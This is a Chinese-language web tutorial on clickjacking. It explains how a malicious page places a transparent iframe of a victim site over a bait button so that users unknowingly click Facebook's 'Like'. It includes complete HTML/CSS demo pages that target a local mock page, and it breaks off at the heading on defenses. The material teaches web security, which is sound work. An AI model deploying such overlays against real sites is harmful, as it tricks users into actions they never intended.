点击劫持攻击

优质

小牛编辑

134浏览

2023-12-01

“点击劫持”攻击允许恶意页面 以用户的名义 点击“受害网站”。

许多网站都被黑客以这种方式攻击过，包括 Twitter、Facebook 和 Paypal 等许多网站。当然，它们都已经被修复了。

原理

原理十分简单。

我们以 Facebook 为例，解释点击劫持是如何完成的：

访问者被恶意页面吸引。怎样吸引的不重要。
页面上有一个看起来无害的链接（例如：“变得富有”或者“点我，超好玩！”）。
恶意页面在该链接上方放置了一个透明的 <iframe>，其 src 来自于 facebook.com，这使得“点赞”按钮恰好位于该链接上面。这通常是通过 z-index 实现的。
用户尝试点击该链接时，实际上点击的是“点赞”按钮。

示例

这是恶意页面看起来的样子。为了清楚起见，我们将 <iframe> 设置成了半透明的（在真正的恶意页面中，它是全透明的）：

<style>
iframe { /* 来自受害网站的 iframe */
  width: 400px;
  height: 100px;
  position: absolute;
  top:0; left:-20px;
  opacity: 0.5; /* 在实际中为 opacity:0 */
  z-index: 1;
}
</style>

<div>点击即可变得富有：</div>

<!-- 来自受害网站的 url -->
<iframe src="/clickjacking/facebook.html"></iframe>

<button>点这里！</button>

<div>……你很酷（我实际上是一名帅气的黑客）！</div>

完整的攻击示例如下。

<!DOCTYPE HTML>
<html>

<body style="margin:10px;padding:10px">

  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">

</body>

</html>

<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>

  <div>点击即可变得富有：</div>

  <!-- 来自受害网站的 url -->
  <iframe src="facebook.html"></iframe>

  <button>点这里！</button>

  <div>……你很酷（我实际上是一名帅气的黑客）！</div>

</body>
</html>

在上面这个示例中，我们有一个半透明的 <iframe src="facebook.html">，我们可以看到，它位于按钮之上。点击按钮实际上会点击在 iframe 上，但这对用户不可见，因为 iframe 是透明的。

结果，如果访问者登陆了 Facebook（“记住我”通常是打开的），那么这个行为就会点一个“赞”。Twitter 上是 “Follow” 按钮。

下面是相同的示例，但 iframe 的透明度设置为了 opacity:0，更符合实际情况。

<!DOCTYPE HTML>
<html>

<body style="margin:10px;padding:10px">

  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">

</body>

</html>

<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>

  <div>点击即可变得富有：</div>

  <!-- 来自受害网站的 url -->
  <iframe src="facebook.html"></iframe>

  <button>点这里！</button>

  <div>……你很酷（我实际上是一名帅气的黑客）！</div>

</body>
</html>

我们进行攻击所需要做的 —— 就是将 <iframe> 放置在恶意页面中，使得按钮恰好位于链接的正上方。这样当用户点击链接时，他们实际上点击的是按钮。这通常可以通过 CSS 实现。

点击劫持是对点击事件，而非键盘事件

此攻击仅影响鼠标行为（或者类似的行为，例如在手机上的点击）。

键盘输入很难重定向。从技术上讲，我们可以用 iframe 的文本区域覆盖原有的文本区域实现攻击。因此，当访问者试图聚焦页面中的输入时，实际上聚焦的是 iframe 中的输入。

但是这里有个问题。访问者键入的所有内容都会被隐藏，因为该 iframe 是不可见的。

当用户无法在屏幕上看到自己输入的字符时，通常会停止打字。

点击劫持攻击

原理

示例

传统防御（弱